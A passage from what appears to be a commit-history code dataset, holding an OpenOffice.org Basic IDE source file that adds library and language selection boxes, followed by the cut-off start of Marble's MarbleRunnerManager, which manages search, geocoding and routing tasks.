{\n        if ( !HasChildPathFocus( TRUE ) )\n        {\n            bIgnoreSelect = TRUE;\n            bFillBox = TRUE;\n        }\n    }\n\n    return nDone ? nDone : ListBox::PreNotify( rNEvt );\n}\n\nvoid __EXPORT BasicLibBox::Select()\n{\n    if ( !IsTravelSelect() )\n    {\n        if ( !bIgnoreSelect )\n            NotifyIDE();\n        else\n            SelectEntry( aCurText );    \/\/ Seit 306... (Select nach Escape)\n    }\n}\n\nvoid BasicLibBox::NotifyIDE()\n{\n    USHORT nSelPos = GetSelectEntryPos();\n    BasicLibEntry* pEntry = (BasicLibEntry*)GetEntryData( nSelPos );\n    if ( pEntry )\n    {\n        SfxObjectShell* pShell = pEntry->GetShell();\n        SfxObjectShellItem aShellItem( SID_BASICIDE_ARG_SHELL, pShell );\n        String aLibName = pEntry->GetLibName();\n        SfxStringItem aLibNameItem( SID_BASICIDE_ARG_LIBNAME, aLibName );\n        BasicIDEShell* pIDEShell = IDE_DLL()->GetShell();\n        SfxViewFrame* pViewFrame = pIDEShell ? pIDEShell->GetViewFrame() : NULL;\n        SfxDispatcher* pDispatcher = pViewFrame ? pViewFrame->GetDispatcher() : NULL;\n        if ( pDispatcher )\n        {\n            pDispatcher->Execute( SID_BASICIDE_LIBSELECTED,\n                                  SFX_CALLMODE_SYNCHRON, &aShellItem, &aLibNameItem, 0L );\n        }\n    }\n    ReleaseFocus();\n}\n\nvoid BasicLibBox::Clear()\n{\n    DeleteEntryData();\n    ListBox::Clear();\n}\n<commit_msg>INTEGRATION: CWS ab31 (1.10.32); FILE MERGED 2006\/12\/15 09:50:50 ab 1.10.32.6: #i72282# BasicLanguageBox sets current, not default language 2006\/12\/15 08:00:15 pb 1.10.32.5: fix: #i72282# disable LanguageBox is necessary 2006\/12\/14 17:48:43 pb 1.10.32.4: fix: #i72282# LanguageBox more wider 2006\/12\/14 12:48:51 pb 1.10.32.3: fix: #i72282# more implemented 2006\/12\/13 16:58:10 pb 1.10.32.2: fix: #i72282# class BasicLanguageBox added 2006\/12\/07 08:23:38 pb 1.10.32.1: fix: #i72282# new class LangBoxControl<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: basicbox.cxx,v $\n *\n *  $Revision: 1.11 $\n *\n *  last change: $Author: hr $ $Date: 2007-01-02 15:48:49 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_basctl.hxx\"\n\n#include <ide_pch.hxx>\n\n\n#include <basidesh.hrc>\n#include <basidesh.hxx>\n#include <basobj.hxx>\n\n#include <basicbox.hxx>\n#include <iderid.hxx>\n#include <iderdll.hxx>\n#include <bastypes.hxx>\n\n#ifndef _BASTYPE2_HXX\n#include \"bastype2.hxx\"\n#endif\n#ifndef _BASDOC_HXX\n#include \"basdoc.hxx\"\n#endif\n\n#include \"localizationmgr.hxx\"\n#include \"managelang.hxx\"\n#include \"dlgresid.hrc\"\n\n#ifndef _UNO_LINGU_HXX\n#include <svx\/unolingu.hxx>\n#endif\n#ifndef _SVX_LANGTAB_HXX\n#include <svx\/langtab.hxx>\n#endif\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::uno;\n\nSFX_IMPL_TOOLBOX_CONTROL( LibBoxControl, SfxStringItem );\n\nLibBoxControl::LibBoxControl( USHORT nSlotId, USHORT nId, ToolBox& rTbx )\n    : SfxToolBoxControl( nSlotId, nId, rTbx )\n{\n}\n\n\n\nLibBoxControl::~LibBoxControl()\n{\n}\n\n\n\nvoid LibBoxControl::StateChanged( USHORT, SfxItemState eState, const SfxPoolItem* pState )\n{\n    BasicLibBox* pBox = (BasicLibBox*) GetToolBox().GetItemWindow( GetId() );\n\n    DBG_ASSERT( pBox, \"Box not found\" );\n    if ( !pBox )\n        return;\n\n    if ( eState != SFX_ITEM_AVAILABLE )\n        pBox->Disable();\n    else\n    {\n        pBox->Enable();\n\n        if ( pState->ISA(SfxStringItem) )\n            pBox->Update( (const SfxStringItem*)pState );\n        else\n            pBox->Update( NULL );\n    }\n}\n\n\n\nWindow* LibBoxControl::CreateItemWindow( Window *pParent )\n{\n    return new BasicLibBox( pParent, m_xFrame );\n}\n\nBasicLibBox::BasicLibBox( Window* pParent, const uno::Reference< frame::XFrame >& rFrame ) :\n    ListBox( pParent, WinBits( WB_BORDER | WB_DROPDOWN ) ),\n    m_xFrame( rFrame )\n{\n    FillBox();\n    bIgnoreSelect = TRUE;   \/\/ Select von 0 noch nicht weiterleiten\n    bFillBox = TRUE;\n    SelectEntryPos( 0 );\n    aCurText = GetEntry( 0 );\n    SetSizePixel( Size( 250, 200 ) );\n    bIgnoreSelect = FALSE;\n    StartListening( *SFX_APP(), TRUE \/* Nur einmal anmelden *\/ );\n}\n\n\n\n__EXPORT BasicLibBox::~BasicLibBox()\n{\n    ClearBox();\n}\n\nvoid __EXPORT BasicLibBox::Update( const SfxStringItem* pItem )\n{\n    \/\/ Immer auf dem laufenden sein...\n\/\/  if ( !pItem  || !pItem->GetValue().Len() )\n        FillBox();\n\n    if ( pItem )\n    {\n        aCurText = pItem->GetValue();\n        if ( aCurText.Len() == 0 )\n            aCurText = String( IDEResId( RID_STR_ALL ) );\n    }\n\n    if ( GetSelectEntry() != aCurText )\n        SelectEntry( aCurText );\n}\n\nvoid __EXPORT BasicLibBox::ReleaseFocus()\n{\n    SfxViewShell* pCurSh = SfxViewShell::Current();\n    DBG_ASSERT( pCurSh, \"Current ViewShell not found!\" );\n\n    if ( pCurSh )\n    {\n        Window* pShellWin = pCurSh->GetWindow();\n        if ( !pShellWin )       \/\/ sonst werde ich ihn nicht los\n            pShellWin = Application::GetDefDialogParent();\n\n        pShellWin->GrabFocus();\n    }\n}\n\n\n\nvoid __EXPORT BasicLibBox::SFX_NOTIFY(  SfxBroadcaster&, const TypeId&,\n                                        const SfxHint& rHint, const TypeId& )\n{\n    if ( rHint.IsA( TYPE( SfxEventHint ) ) )\n    {\n        switch ( ((SfxEventHint&)rHint).GetEventId() )\n        {\n            case SFX_EVENT_CREATEDOC:\n            case SFX_EVENT_OPENDOC:\n            {\n                FillBox();  \/\/ IDE reagiert selbst, wenn == aktuelle Lib\n            }\n            break;\n            case SFX_EVENT_SAVEASDOC:\n            {\n                FillBox( TRUE );\n            }\n            break;\n            case SFX_EVENT_CLOSEDOC:\n            {\n                if ( SFX_APP()->IsInBasicCall() )   \/\/ Nicht wenn Office beendet\n                    FillBox();\n            }\n            break;\n        }\n    }\n}\n\nvoid BasicLibBox::FillBox( BOOL bSelect )\n{\n    SetUpdateMode( FALSE );\n    bIgnoreSelect = TRUE;\n\n    aCurText = GetSelectEntry();\n\n    SelectEntryPos( 0 );\n    ClearBox();\n\n    \/\/ create list box entries\n    USHORT nPos = InsertEntry( String( IDEResId( RID_STR_ALL ) ), LISTBOX_APPEND );\n    SetEntryData( nPos, new BasicLibEntry( 0, LIBRARY_LOCATION_UNKNOWN, String() ) );\n    InsertEntries( 0, LIBRARY_LOCATION_USER );\n    InsertEntries( 0, LIBRARY_LOCATION_SHARE );\n    SfxObjectShell* pShell = SfxObjectShell::GetFirst();\n    while ( pShell )\n    {\n        \/\/ only if there's a corresponding window (not for remote documents)\n        if ( SfxViewFrame::GetFirst( pShell ) && !pShell->ISA( BasicDocShell ) )\n            InsertEntries( pShell, LIBRARY_LOCATION_DOCUMENT );\n\n        pShell = SfxObjectShell::GetNext( *pShell );\n    }\n\n    SetUpdateMode( TRUE );\n\n    if ( bSelect )\n    {\n        SelectEntry( aCurText );\n        if ( !GetSelectEntryCount() )\n        {\n            SelectEntryPos( GetEntryCount() );  \/\/ gibst es nicht => leer?\n            aCurText = GetSelectEntry();\n        }\n    }\n    bIgnoreSelect = FALSE;\n}\n\nvoid BasicLibBox::InsertEntries( SfxObjectShell* pShell, LibraryLocation eLocation )\n{\n    \/\/ get a sorted list of library names\n    Sequence< ::rtl::OUString > aLibNames = BasicIDE::GetLibraryNames( pShell );\n    sal_Int32 nLibCount = aLibNames.getLength();\n    const ::rtl::OUString* pLibNames = aLibNames.getConstArray();\n\n    for ( sal_Int32 i = 0 ; i < nLibCount ; ++i )\n    {\n        String aLibName = pLibNames[ i ];\n        if ( eLocation == BasicIDE::GetLibraryLocation( pShell, aLibName ) )\n        {\n            String aName( BasicIDE::GetTitle( pShell, eLocation, SFX_TITLE_CAPTION ) );\n            String aEntryText( CreateMgrAndLibStr( aName, aLibName ) );\n            USHORT nPos = InsertEntry( aEntryText, LISTBOX_APPEND );\n            SetEntryData( nPos, new BasicLibEntry( pShell, eLocation, aLibName ) );\n        }\n    }\n}\n\nlong BasicLibBox::PreNotify( NotifyEvent& rNEvt )\n{\n    long nDone = 0;\n    if( rNEvt.GetType() == EVENT_KEYINPUT )\n    {\n        KeyEvent aKeyEvt = *rNEvt.GetKeyEvent();\n        USHORT nKeyCode = aKeyEvt.GetKeyCode().GetCode();\n        switch( nKeyCode )\n        {\n            case KEY_RETURN:\n            {\n                NotifyIDE();\n                nDone = 1;\n            }\n            break;\n\n            case KEY_ESCAPE:\n            {\n                SelectEntry( aCurText );\n                ReleaseFocus();\n                nDone = 1;\n            }\n            break;\n        }\n    }\n    else if( rNEvt.GetType() == EVENT_GETFOCUS )\n    {\n        if ( bFillBox )\n        {\n            FillBox();\n            bFillBox = FALSE;\n        }\n    }\n    else if( rNEvt.GetType() == EVENT_LOSEFOCUS )\n    {\n        if ( !HasChildPathFocus( TRUE ) )\n        {\n            bIgnoreSelect = TRUE;\n            bFillBox = TRUE;\n        }\n    }\n\n    return nDone ? nDone : ListBox::PreNotify( rNEvt );\n}\n\nvoid __EXPORT BasicLibBox::Select()\n{\n    if ( !IsTravelSelect() )\n    {\n        if ( !bIgnoreSelect )\n            NotifyIDE();\n        else\n            SelectEntry( aCurText );    \/\/ Seit 306... (Select nach Escape)\n    }\n}\n\nvoid BasicLibBox::NotifyIDE()\n{\n    USHORT nSelPos = GetSelectEntryPos();\n    BasicLibEntry* pEntry = (BasicLibEntry*)GetEntryData( nSelPos );\n    if ( pEntry )\n    {\n        SfxObjectShell* pShell = pEntry->GetShell();\n        SfxObjectShellItem aShellItem( SID_BASICIDE_ARG_SHELL, pShell );\n        String aLibName = pEntry->GetLibName();\n        SfxStringItem aLibNameItem( SID_BASICIDE_ARG_LIBNAME, aLibName );\n        BasicIDEShell* pIDEShell = IDE_DLL()->GetShell();\n        SfxViewFrame* pViewFrame = pIDEShell ? pIDEShell->GetViewFrame() : NULL;\n        SfxDispatcher* pDispatcher = pViewFrame ? pViewFrame->GetDispatcher() : NULL;\n        if ( pDispatcher )\n        {\n            pDispatcher->Execute( SID_BASICIDE_LIBSELECTED,\n                                  SFX_CALLMODE_SYNCHRON, &aShellItem, &aLibNameItem, 0L );\n        }\n    }\n    ReleaseFocus();\n}\n\nvoid BasicLibBox::ClearBox()\n{\n    USHORT nCount = GetEntryCount();\n    for ( USHORT i = 0; i < nCount; ++i )\n    {\n        BasicLibEntry* pEntry = (BasicLibEntry*)GetEntryData( i );\n        delete pEntry;\n    }\n    ListBox::Clear();\n}\n\n\/\/ class LanguageBoxControl ----------------------------------------------\n\nSFX_IMPL_TOOLBOX_CONTROL( LanguageBoxControl, SfxStringItem );\n\nLanguageBoxControl::LanguageBoxControl( USHORT nSlotId, USHORT nId, ToolBox& rTbx )\n    : SfxToolBoxControl( nSlotId, nId, rTbx )\n{\n}\n\nLanguageBoxControl::~LanguageBoxControl()\n{\n}\n\nvoid LanguageBoxControl::StateChanged( USHORT _nID, SfxItemState _eState, const SfxPoolItem* _pItem )\n{\n    BasicLanguageBox* pBox = (BasicLanguageBox*)( GetToolBox().GetItemWindow( GetId() ) );\n\n    if ( pBox )\n    {\n        if ( _eState != SFX_ITEM_AVAILABLE )\n            pBox->Disable();\n        else\n        {\n            pBox->Enable();\n            if ( _pItem->ISA(SfxStringItem) )\n                pBox->Update( (const SfxStringItem*)_pItem );\n            else\n                pBox->Update( NULL );\n        }\n    }\n}\n\nWindow* LanguageBoxControl::CreateItemWindow( Window *pParent )\n{\n    return new BasicLanguageBox( pParent );\n}\n\n\/\/ class BasicLanguageBox ------------------------------------------------\n\nBasicLanguageBox::BasicLanguageBox( Window* pParent ) :\n\n    ListBox( pParent, WinBits( WB_BORDER | WB_DROPDOWN ) ),\n\n    m_sNotLocalizedStr( IDEResId( RID_STR_TRANSLATION_NOTLOCALIZED ) ),\n    m_sDefaultLanguageStr( IDEResId( RID_STR_TRANSLATION_DEFAULT ) ),\n\n    m_bIgnoreSelect( false )\n\n{\n    SetSizePixel( Size( 210, 200 ) );\n\n    FillBox();\n    StartListening( *SFX_APP(), TRUE \/* Nur einmal anmelden *\/ );\n}\n\nBasicLanguageBox::~BasicLanguageBox()\n{\n    ClearBox();\n}\n\nvoid BasicLanguageBox::FillBox()\n{\n    SetUpdateMode( FALSE );\n    m_bIgnoreSelect = true;\n    m_sCurrentText = GetSelectEntry();\n    ClearBox();\n\n    LocalizationMgr* pCurMgr = IDE_DLL()->GetShell()->GetCurLocalizationMgr();\n    if ( pCurMgr->isLibraryLocalized() )\n    {\n        Enable();\n        SvxLanguageTable aLangTable;\n        Locale aDefaultLocale = pCurMgr->getStringResourceManager()->getDefaultLocale();\n        Locale aCurrentLocale = pCurMgr->getStringResourceManager()->getCurrentLocale();\n        Sequence< Locale > aLocaleSeq = pCurMgr->getStringResourceManager()->getLocales();\n        const Locale* pLocale = aLocaleSeq.getConstArray();\n        INT32 i, nCount = aLocaleSeq.getLength();\n        USHORT nSelPos = LISTBOX_ENTRY_NOTFOUND;\n        for ( i = 0;  i < nCount;  ++i )\n        {\n            bool bIsDefault = localesAreEqual( aDefaultLocale, pLocale[i] );\n            bool bIsCurrent = localesAreEqual( aCurrentLocale, pLocale[i] );\n            LanguageType eLangType = SvxLocaleToLanguage( pLocale[i] );\n            String sLanguage = aLangTable.GetString( eLangType );\n            if ( bIsDefault )\n            {\n                sLanguage += ' ';\n                sLanguage += m_sDefaultLanguageStr;\n            }\n            USHORT nPos = InsertEntry( sLanguage );\n            SetEntryData( nPos, new LanguageEntry( sLanguage, pLocale[i], bIsDefault ) );\n\n            if ( bIsCurrent )\n                nSelPos = nPos;\n        }\n\n        if ( nSelPos != LISTBOX_ENTRY_NOTFOUND )\n        {\n            SelectEntryPos( nSelPos );\n            m_sCurrentText = GetSelectEntry();\n        }\n    }\n    else\n    {\n        InsertEntry( m_sNotLocalizedStr );\n        SelectEntryPos(0);\n        Disable();\n    }\n\n    SetUpdateMode( TRUE );\n    m_bIgnoreSelect = false;\n}\n\nvoid BasicLanguageBox::ClearBox()\n{\n    USHORT nCount = GetEntryCount();\n    for ( USHORT i = 0; i < nCount; ++i )\n    {\n        LanguageEntry* pEntry = (LanguageEntry*)GetEntryData(i);\n        delete pEntry;\n    }\n    ListBox::Clear();\n}\n\nvoid BasicLanguageBox::SetLanguage()\n{\n    LanguageEntry* pEntry = (LanguageEntry*)GetEntryData( GetSelectEntryPos() );\n    if ( pEntry )\n        IDE_DLL()->GetShell()->GetCurLocalizationMgr()->handleSetCurrentLocale( pEntry->m_aLocale );\n}\n\nvoid BasicLanguageBox::Select()\n{\n    if ( !m_bIgnoreSelect )\n        SetLanguage();\n    else\n        SelectEntry( m_sCurrentText );  \/\/ Select after Escape\n}\n\nlong BasicLanguageBox::PreNotify( NotifyEvent& rNEvt )\n{\n    long nDone = 0;\n    if( rNEvt.GetType() == EVENT_KEYINPUT )\n    {\n        USHORT nKeyCode = rNEvt.GetKeyEvent()->GetKeyCode().GetCode();\n        switch( nKeyCode )\n        {\n            case KEY_RETURN:\n            {\n                SetLanguage();\n                nDone = 1;\n            }\n            break;\n\n            case KEY_ESCAPE:\n            {\n                SelectEntry( m_sCurrentText );\n                nDone = 1;\n            }\n            break;\n        }\n    }\n    else if( rNEvt.GetType() == EVENT_GETFOCUS )\n    {\n    }\n    else if( rNEvt.GetType() == EVENT_LOSEFOCUS )\n    {\n    }\n\n    return nDone ? nDone : ListBox::PreNotify( rNEvt );\n}\n\nvoid BasicLanguageBox::SFX_NOTIFY( SfxBroadcaster&, const TypeId&, const SfxHint& rHint, const TypeId& )\n{\n    if ( rHint.IsA( TYPE( SfxEventHint ) ) )\n    {\n        USHORT nEventId = ( (SfxEventHint&)rHint ).GetEventId();\n        switch ( nEventId )\n        {\n            case SFX_EVENT_CREATEDOC:\n            case SFX_EVENT_OPENDOC:\n            case SFX_EVENT_SAVEASDOC:\n            case SFX_EVENT_CLOSEDOC:\n            {\n                if ( nEventId != SFX_EVENT_CLOSEDOC || SFX_APP()->IsInBasicCall() )\n                    FillBox();\n            }\n            break;\n        }\n    }\n}\n\nvoid BasicLanguageBox::Update( const SfxStringItem* pItem )\n{\n    FillBox();\n\n    if ( pItem && pItem->GetValue().Len() > 0 )\n    {\n        m_sCurrentText = pItem->GetValue();\n        if ( GetSelectEntry() != m_sCurrentText )\n            SelectEntry( m_sCurrentText );\n    }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2008 Henry de Valence <hdevalence@gmail.com>\n\/\/ Copyright 2010 Dennis Nienhüser <earthwings@gentoo.org>\n\/\/ Copyright 2011 Thibaut Gridel <tgridel@free.fr>\n\n#include \"MarbleRunnerManager.h\"\n\n#include \"MarblePlacemarkModel.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleModel.h\"\n#include \"Planet.h\"\n#include \"GeoDataDocument.h\"\n#include \"GeoDataPlacemark.h\"\n#include \"PluginManager.h\"\n#include \"RunnerPlugin.h\"\n#include \"RunnerTask.h\"\n#include \"routing\/RouteRequest.h\"\n#include \"routing\/RoutingProfilesModel.h\"\n\n#include <QtCore\/QObject>\n#include <QtCore\/QString>\n#include <QtCore\/QVector>\n#include <QtCore\/QThreadPool>\n#include <QtCore\/QTimer>\n\nnamespace Marble\n{\n\nclass MarbleModel;\n\nclass MarbleRunnerManagerPrivate\n{\npublic:\n    MarbleRunnerManager* q;\n    QString m_lastSearchTerm;\n    QMutex m_modelMutex;\n    MarblePlacemarkModel *m_model;\n    QVector<GeoDataPlacemark*> m_placemarkContainer;\n    QList<GeoDataCoordinates> m_reverseGeocodingResults;\n    QString m_reverseGeocodingResult;\n    QVector<GeoDataDocument*> m_routingResult;\n    GeoDataDocument* m_fileResult;\n    MarbleModel * m_marbleModel;\n    const PluginManager* m_pluginManager;\n\n    MarbleRunnerManagerPrivate( MarbleRunnerManager* parent, const PluginManager* pluginManager );\n\n    ~MarbleRunnerManagerPrivate();\n\n    QList<RunnerPlugin*> plugins( RunnerPlugin::Capability capability );\n\n    QList<RunnerTask*> m_searchTasks;\n    QList<RunnerTask*> m_reverseTasks;\n    QList<RunnerTask*> m_routingTasks;\n    QList<RunnerTask*> m_parsingTasks;\n    int m_watchdogTimer;\n\n    void addSearchResult( QVector<GeoDataPlacemark*> result );\n    void addReverseGeocodingResult( const GeoDataCoordinates &coordinates, const GeoDataPlacemark &placemark );\n    void addRoutingResult( GeoDataDocument* route );\n    void addParsingResult( GeoDataDocument* document, const QString& error = QString() );\n\n    void cleanupSearchTask( RunnerTask* task );\n    void cleanupReverseGeocodingTask( RunnerTask* task );\n    void cleanupRoutingTask( RunnerTask* task );\n    void cleanupParsingTask( RunnerTask* task );\n\n};\n\nMarbleRunnerManagerPrivate::MarbleRunnerManagerPrivate( MarbleRunnerManager* parent, const PluginManager* pluginManager ) :\n        q( parent ),\n        m_model( new MarblePlacemarkModel( parent ) ),\n        m_fileResult( 0 ),\n        m_marbleModel( 0 ),\n        m_pluginManager( pluginManager ),\n        m_watchdogTimer( 30000 )\n{\n    m_model->setPlacemarkContainer( &m_placemarkContainer );\n    qRegisterMetaType<GeoDataDocument*>( \"GeoDataDocument*\" );\n    qRegisterMetaType<GeoDataPlacemark>( \"GeoDataPlacemark\" );\n    qRegisterMetaType<GeoDataCoordinates>( \"GeoDataCoordinates\" );\n    qRegisterMetaType<QVector<GeoDataPlacemark*> >( \"QVector<GeoDataPlacemark*>\" );\n}\n\nMarbleRunnerManagerPrivate::~MarbleRunnerManagerPrivate()\n{\n    \/\/ nothing to do\n}\n\nQList<RunnerPlugin*> MarbleRunnerManagerPrivate::plugins( RunnerPlugin::Capability capability )\n{\n    QList<RunnerPlugin*> result;\n    QList<RunnerPlugin*> plugins = m_pluginManager->runnerPlugins();\n    foreach( RunnerPlugin* plugin, plugins ) {\n        if ( !plugin->supports( capability ) ) {\n            continue;\n        }\n\n        if ( ( m_marbleModel && m_marbleModel->workOffline() && !plugin->canWorkOffline() ) ) {\n            continue;\n        }\n\n        if ( !plugin->canWork( capability ) ) {\n            continue;\n        }\n\n        if ( m_marbleModel && !plugin->supportsCelestialBody( m_marbleModel->planet()->id() ) )\n        {\n            continue;\n        }\n\n        result << plugin;\n    }\n\n    return result;\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupSearchTask( RunnerTask* task )\n{\n    m_searchTasks.removeAll( task );\n    mDebug() << \"removing search task\" << m_searchTasks.size() << (long)task;\n    if ( m_searchTasks.isEmpty() ) {\n        if( m_placemarkContainer.isEmpty() ) {\n            emit q->searchResultChanged( m_model );\n            emit q->searchResultChanged( m_placemarkContainer );\n        }\n        emit q->searchFinished( m_lastSearchTerm );\n        emit q->placemarkSearchFinished();\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupReverseGeocodingTask( RunnerTask* task )\n{\n    m_reverseTasks.removeAll( task );\n    mDebug() << \"removing task \" << m_reverseTasks.size() << \" \" << (long)task;\n    if ( m_reverseTasks.isEmpty() ) {\n        emit q->reverseGeocodingFinished();\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupRoutingTask( RunnerTask* task )\n{\n    m_routingTasks.removeAll( task );\n    mDebug() << \"removing task \" << m_routingTasks.size() << \" \" << (long)task;\n    if ( m_routingTasks.isEmpty() ) {\n        if ( m_routingResult.isEmpty() ) {\n            emit q->routeRetrieved( 0 );\n        }\n\n        emit q->routingFinished();\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupParsingTask( RunnerTask* task )\n{\n    m_parsingTasks.removeAll( task );\n    mDebug() << \"removing task \" << m_parsingTasks.size() << \" \" << (long)task;\n\n    if ( m_parsingTasks.isEmpty() ) {\n        emit q->parsingFinished();\n    }\n}\n\nMarbleRunnerManager::MarbleRunnerManager( const PluginManager* pluginManager, QObject *parent )\n    : QObject( parent ), d( new MarbleRunnerManagerPrivate( this, pluginManager ) )\n{\n    if ( QThreadPool::globalInstance()->maxThreadCount() < 4 ) {\n        QThreadPool::globalInstance()->setMaxThreadCount( 4 );\n    }\n}\n\nMarbleRunnerManager::~MarbleRunnerManager()\n{\n    delete d;\n}\n\nvoid MarbleRunnerManager::findPlacemarks( const QString &searchTerm )\n{\n    if ( searchTerm == d->m_lastSearchTerm ) {\n      emit searchResultChanged( d->m_model );\n      emit searchResultChanged( d->m_placemarkContainer );\n      emit searchFinished( searchTerm );\n      emit placemarkSearchFinished();\n      return;\n    }\n\n    d->m_lastSearchTerm = searchTerm;\n\n    d->m_searchTasks.clear();\n\n    d->m_modelMutex.lock();\n    d->m_model->removePlacemarks( \"MarbleRunnerManager\", 0, d->m_placemarkContainer.size() );\n    qDeleteAll( d->m_placemarkContainer );\n    d->m_placemarkContainer.clear();\n    d->m_modelMutex.unlock();\n    emit searchResultChanged( d->m_model );\n\n    if ( searchTerm.trimmed().isEmpty() ) {\n        emit searchFinished( searchTerm );\n        emit placemarkSearchFinished();\n        return;\n    }\n\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::Search );\n    foreach( RunnerPlugin* plugin, plugins ) {\n        SearchTask* task = new SearchTask( plugin, this, d->m_marbleModel, searchTerm );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupSearchTask( RunnerTask* ) ) );\n        d->m_searchTasks << task;\n        mDebug() << \"search task \" << plugin->nameId() << \" \" << (long)task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        d->cleanupSearchTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addSearchResult( QVector<GeoDataPlacemark*> result )\n{\n    mDebug() << \"Runner reports\" << result.size() << \" search results\";\n    if( result.isEmpty() )\n        return;\n\n    m_modelMutex.lock();\n    int start = m_placemarkContainer.size();\n    m_placemarkContainer << result;\n    m_model->addPlacemarks( start, result.size() );\n    m_modelMutex.unlock();\n    emit q->searchResultChanged( m_model );\n    emit q->searchResultChanged( m_placemarkContainer );\n}\n\nQVector<GeoDataPlacemark*> MarbleRunnerManager::searchPlacemarks( const QString &searchTerm ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(placemarkSearchFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    findPlacemarks( searchTerm );\n    localEventLoop.exec();\n    return d->m_placemarkContainer;\n}\n\nvoid MarbleRunnerManager::setModel( MarbleModel * model )\n{\n    \/\/ TODO: Terminate runners which are making use of the map.\n    d->m_marbleModel = model;\n}\n\nvoid MarbleRunnerManager::reverseGeocoding( const GeoDataCoordinates &coordinates )\n{\n    d->m_reverseTasks.clear();\n    d->m_reverseGeocodingResult.clear();\n    d->m_reverseGeocodingResults.removeAll( coordinates );\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::ReverseGeocoding );\n    foreach( RunnerPlugin* plugin, plugins ) {\n        ReverseGeocodingTask* task = new ReverseGeocodingTask( plugin, this, d->m_marbleModel, coordinates );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupReverseGeocodingTask(RunnerTask*) ) );\n        mDebug() << \"reverse task \" << plugin->nameId() << \" \" << (long)task;\n        d->m_reverseTasks << task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        emit reverseGeocodingFinished( coordinates, GeoDataPlacemark() );\n        d->cleanupReverseGeocodingTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addReverseGeocodingResult( const GeoDataCoordinates &coordinates, const GeoDataPlacemark &placemark )\n{\n    if ( !m_reverseGeocodingResults.contains( coordinates ) && !placemark.address().isEmpty() ) {\n        m_reverseGeocodingResults.push_back( coordinates );\n        m_reverseGeocodingResult = placemark.address();\n        emit q->reverseGeocodingFinished( coordinates, placemark );\n    }\n\n    if ( m_reverseTasks.isEmpty() ) {\n        emit q->reverseGeocodingFinished();\n    }\n}\n\nQString MarbleRunnerManager::searchReverseGeocoding( const GeoDataCoordinates &coordinates ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(reverseGeocodingFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    reverseGeocoding( coordinates );\n    localEventLoop.exec();\n    return d->m_reverseGeocodingResult;\n}\n\nvoid MarbleRunnerManager::retrieveRoute( const RouteRequest *request )\n{\n    RoutingProfile profile = request->routingProfile();\n\n    d->m_routingTasks.clear();\n    d->m_routingResult.clear();\n\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::Routing );\n    foreach( RunnerPlugin* plugin, plugins ) {\n        if ( !profile.name().isEmpty() && !profile.pluginSettings().contains( plugin->nameId() ) ) {\n            continue;\n        }\n\n        RoutingTask* task = new RoutingTask( plugin, this, d->m_marbleModel, request );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupRoutingTask( RunnerTask* ) ) );\n        mDebug() << \"route task \" << plugin->nameId() << \" \" << (long)task;\n        d->m_routingTasks << task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        mDebug() << \"No routing plugins found, cannot retrieve a route\";\n        d->cleanupRoutingTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addRoutingResult( GeoDataDocument* route )\n{\n    if ( route ) {\n        mDebug() << \"route retrieved\";\n        m_routingResult.push_back( route );\n        emit q->routeRetrieved( route );\n    }\n}\n\nQVector<GeoDataDocument*> MarbleRunnerManager::searchRoute( const RouteRequest *request ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, 